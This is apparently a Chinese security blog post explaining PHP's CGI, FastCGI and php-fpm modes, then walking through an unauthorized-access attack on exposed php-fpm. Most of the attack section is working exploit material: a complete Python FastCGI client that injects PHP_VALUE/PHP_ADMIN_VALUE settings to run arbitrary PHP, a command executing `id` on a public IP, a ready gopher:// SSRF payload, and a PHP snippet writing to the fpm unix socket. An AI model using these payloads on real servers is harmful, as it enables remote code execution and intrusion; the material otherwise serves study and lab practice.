PHP连接模式
apache-module
该状态是把php当作apache的一个模块，实际上php就相当于apache中的一个so，dll文件
cgi
该模式下php是一个独立的进程比如php-cgi.exe，web服务器也是一个独立的进程比如apache.exe
CGI全称是“通用网关接口”(Common Gateway Interface)，它是一个协议，它可以让一个客户端，从网页浏览器向执行在Web服务器上的程序请求数据，比如发送给后端程序php，
举个例子
当访问127.0.0.1:90003/cgi-bin/user?id=1
1 | 1：客户端访问 http://127.0.0.1:9003/cgi-bin/user?id=1 |
于是一个cgi模式下，过程是
客户端->Web服务器->CGI协议->后端应用程序(如PHP)
但是这样的弊端就是，每一次请求都会fork一个进程，每次完了都又会kill掉，这样，当请求达到一个数量级的时候，就会不断的去fork，然后再去kill，这样肯定是不行的
fast-cgi
而fast-cgi是基于cgi的提升，也是一种协议，它是一个常驻型的cgi，能够一直执行，fast-cgi每次处理完请求后，不会kill掉这个进程，而是保留这个进程，使这个进程可以一次处理多个请求
1 | www.example.com |
php-fpm
它是一个实现了Fastcgi协议的程序,用来管理Fastcgi起的进程的,即能够调度php-cgi进程的程序，现已在PHP内核中就集成了PHP-FPM
php-fpm 未授权访问攻击
环境
https://github.com/vulhub/vulhub/tree/master/fpm
fastcgi的record,固定为8个字节1
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15typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
type是规定了改record的作用是什么
当收到type为4的record时
就会解析到如下类似的name-value对1
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16{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量，然后，执行SCRIPT_FILENAME的值指向的PHP文件，也就是/var/www/html/index.php，这个变量也是一个关键点
虽然我们可以控制php-fpm去执行一个存在的文件
在php5.3.9之后,fpm的默认配置中增加了一个选项security.limit_extensions1
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7; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7
其限定了只有某些后缀的文件允许被fpm执行，默认是.php
这里就导致我们需要找到一个php后缀的文件,默认有一些php文件，或者是通过爆破等方式得到web目录
任意代码执行
理论上 应该是不行的 我们只能执行目标服务器上存在的php文件
但是在php.ini里有两个选项auto_prepend_file和auto_append_file。
auto_prepend_file 表示在php程序加载第一个php代码前加载的php文件，auto_append_file 是在php代码执行完毕后加载的文件
如果我们设置auto_prepend_file 的值是php://input 那么就能在执行php文件之前，先包含我们POST的php代码，所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（前提是allow_url_include=On）
如何设置auto_prepend_file,有两个变量能够设置php.ini的值，PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的
PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项。（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）
于是我们修改后的record如下1
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18{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
demo
1 | import socket |
然后直接运行，成功执行命令（该php文件环境里默认存在）1
python fastcgi.py -c '<?php echo `id`; exit; ?>' 45.32.75.237 /usr/local/lib/php/PEAR.php
SSRF
利用exp生成payload1
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255import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
# if not self.__connect():
# print('connect failure! please check your fasctcgi-server !!')
# return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
#print base64.b64encode(request)
return request
# self.sock.send(request)
# self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
# self.requests[requestId]['response'] = b''
# return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9000',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
response = urllib.quote(response)
print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)
demo
1 | curl -v "gopher://127.0.0.1:9000/_%01%01%96%A2%00%08%00%00%00%01%00%00%00%00%00%00%01%04%96%A2%01%E7%00%00%0E%02CONTENT_LENGTH24%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%96%A2%00%00%00%00%01%05%96%A2%00%18%00%00%3C%3Fphp%20echo%20%60id%60%3B%20exit%3B%3F%3E%01%05%96%A2%00%00%00%00" |
unix
由于php-fpm的通信方式有tcp和套接字(unix socket)两种方式
1 | tcp 与 socket的区别 |
unix类似不同进程通过读取和写入/run/php/php7.3-fpm.sock来进行通信
unix套接字1
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$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
//来自https://xz.aliyun.com/t/5006#toc-3
//ROIS的*CTF WP**
然后POST传入写入的数据base64编码即可
Referer
- https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
- https://www.php.net/manual/zh/configuration.changes.modes.php
- https://xz.aliyun.com/t/5598#toc-0
- https://segmentfault.com/a/1190000009863108#articleHeader8
- https://blog.csdn.net/shreck66/article/details/50355729
- https://www.zhihu.com/question/30672017
- https://www.jianshu.com/p/fd27f0eedccf
- https://evoa.me/index.php/archives/52/